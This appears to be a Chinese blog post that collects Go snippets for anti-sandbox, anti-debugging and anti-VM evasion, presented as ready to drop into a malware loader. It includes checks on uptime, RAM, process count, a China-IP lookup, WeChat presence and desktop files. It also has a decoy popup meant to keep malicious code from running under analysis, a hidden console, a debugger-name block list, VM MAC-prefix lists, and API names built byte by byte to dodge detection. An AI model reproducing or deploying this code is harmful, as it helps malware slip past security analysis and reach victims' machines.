反沙箱技术

学习和记录各种反沙箱的手段,均使用go实现。在编写loader时可以直接拿来使用

环境条件

开机时长

如果当前操作系统没有超过三十分钟就退出

go 复制代码
func BootTime() bool {
	kernel := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	}))
	GetTickCount := kernel.NewProc("GetTickCount")
	r, _, _ := GetTickCount.Call()
	if r == 0 {
		return false
	}
	ms := time.Duration(r * 1000 * 1000)
	tm := time.Duration(30 * time.Minute)

	if ms < tm {
		return false
	} else {
		return true
	}
}

物理内存

获取系统的内存,将获取到的内存总量除以``1048576`​转换成GB来判断是不是小于4GB。

go 复制代码
func PhysicalMemory() bool {
	var mod = syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	}))
	var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
	var mem uint64
	proc.Call(uintptr(unsafe.Pointer(&mem)))
	mem = mem / 1048576
	fmt.Printf("物理内存为%dG\n", mem)
	if mem < 4 {
		return false
	}
	return true
}

进程数量

如果没有超过60个就自动退出。

go 复制代码
import "github.com/shirou/gopsutil/process"

func ProcessCount() bool {
	processes, err := process.Processes()
	if err != nil {
		return false
	}
	// fmt.Printf("当前进程数量: %d\n", count)
	if len(processes) < 60 {
		return false
	}
	return true
}

国内IP

判断当前ip是否位于国内

go 复制代码
func IP() bool {
	url := "https://myip.ipip.net/"

	var s string
	err := requests.URL(url).ToString(&s).Fetch(context.Background())
	if err!= nil {
		return false
	}

	if !strings.Contains(s, "中国") {
		return false
	}
	return true
}

微信

检查当前用户的注册表中是否有微信的安装路径信息。

go 复制代码
func Wechat() bool {
	k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
	if err != nil {
		return false
	}
	defer k.Close()

	s, _, err := k.GetStringValue("InstallDir")
	if err != nil || s == "" {
		return false
	}

	return true
}

中文语言

如果语言是英文的则不符合国内使用习惯,大概率是虚拟机或是沙箱。

go 复制代码
func Language() bool {
	l := os.Getenv("LANG")

	if strings.Contains(l, "en_US") {
		return false
	}

	return true
}

虚拟内存交换文件

如果存在则表示系统配置了页面文件。

go 复制代码
func Profile() bool {
	_, err := os.Stat("C:\\pagefile.sys")
	if os.IsNotExist(err) {
		return false
	} else if err != nil {
		return false
	}
	return true
}

桌面文件数量

获取用户桌面的路径,然后统计该目录下面非目录项的数量,如果文件数量小于7则退出。

go 复制代码
func DesktopFile() bool {
	desktopPath, err := os.UserHomeDir()
	if err != nil {
		return false
	}

	desktopPath = filepath.Join(desktopPath, "Desktop")
	fileCount, err := countFilesInDir(desktopPath)
	if err != nil {
		return false
	}

	if fileCount < 7 {
		return false
	}

	return true
}

func countFilesInDir(dirPath string) (int, error) {
	var fileCount int

	err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		if !info.IsDir() {
			fileCount++
		}
		return nil
	})

	if err != nil {
		return -1, err
	}

	return fileCount, nil
}

其他操作

弹窗确认

可以先设置一个弹框,沙箱如果没有自动模拟点击的情况下就不执行恶意代码。

go 复制代码
import "github.com/gen2brain/dlgs"

func start() {
	_, err := dlgs.Info("提示", "打开失败!")
	if err != nil {
		os.Exit(-1)
	}
}

隐藏黑框

go 复制代码
import "github.com/lxn/win" 

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
} 

延时执行

就是让当前的线程休眠10秒,然后对比实际的睡眠时间。

go 复制代码
func TimeSleep() bool {
	start := time.Now()
	time.Sleep(10 * time.Second)
	end := time.Since(start)

	if end >= 10*time.Second {
		return true
	} else {
		return false
	}
}

反调试

检测系统中是否允许了调试器,MAX_PATH指的就是文件路径的最大长度,遍历所有的进程与黑名单进行比较

go 复制代码
var blacklistDBG = []string{
	"IDA",
	"OLLY",
	"WINDBG",
	"GHIDRA",
}

const MAX_PATH = 260

func DetectDBG() bool {
	handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
	if err != nil {
		return false
	}

	pe32 := syscall.ProcessEntry32{}
	pe32.Size = uint32(unsafe.Sizeof(pe32))

	err = syscall.Process32First(handle, &pe32)

	for err == nil {
		exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH]))
		for _, pn := range blacklistDBG {
			if strings.Contains(exeFile, pn) {
				return true
			}
		}
		err = syscall.Process32Next(handle, &pe32)
	}

	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	})).NewProc(string([]byte{
		'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
	})).Call(); ret != 0 {
		return true
	}

	return false
}

反虚拟机

资源

检测当前环境是否可能是虚拟机环境,调用Windows API来检测CPU虚拟化标志,以及runtime.NumCPU()​返回的处理器核心数量,少于2个则判断为虚拟机。然后判断系统总物理内存 ullTotalPhys​ 如果小于 1<<31(也就是2的31次方,即2GB)判断为虚拟机。

go 复制代码
import "github.com/klauspost/cpuid"

type memoryStatusEx struct {
	dwLength                uint32
	dwMemoryLoad            uint32
	ullTotalPhys            uint64
	ullAvailPhys            uint64
	ullTotalPageFile        uint64
	ullAvailPageFile        uint64
	ullTotalVirtual         uint64
	ullAvailVirtual         uint64
	ullAvailExtendedVirtual uint64
}

func checkResource() bool {
	if cpuid.CPU.VM() {
		return true
	}

	memStatus := memoryStatusEx{}
	memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))

	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	})).NewProc(string([]byte{
		'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
	})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
		return false
	}

	if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 {
		return true
	}

	return false
}

NIC和MAC

判断网络接口卡 (NIC) 的 MAC 地址前缀来判断当前环境是否在某些虚拟机软件中运行

go 复制代码
var blacklistedMacAddressPrefixes = []string{
	"00:1C:42", // Parallels
	"08:00:27", // VirtualBox
	"00:05:69", // |
	"00:0C:29", // | > VMWare
	"00:1C:14", // |
	"00:50:56", // |
	"00:16:E3", // Xen
}

func checkNic() bool {
	interfaces, err := net.Interfaces()
	if err != nil {
		return false
	}

	for _, iface := range interfaces {
		macAddr := iface.HardwareAddr.String()
		if strings.HasPrefix(iface.Name, "Ethernet") ||
			strings.HasPrefix(iface.Name, "以太网") ||
			strings.HasPrefix(iface.Name, "本地连接") {
			if macAddr != "" {
				for _, prefix := range blacklistedMacAddressPrefixes {
					if strings.HasPrefix(macAddr, prefix) {
						return true
					}
				}
			}
		}
	}

	return false
}